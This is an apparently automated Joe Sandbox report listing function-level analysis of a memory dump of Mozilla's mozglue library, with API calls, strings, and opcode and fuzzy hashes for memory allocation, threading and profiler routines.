Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE
<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2
MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
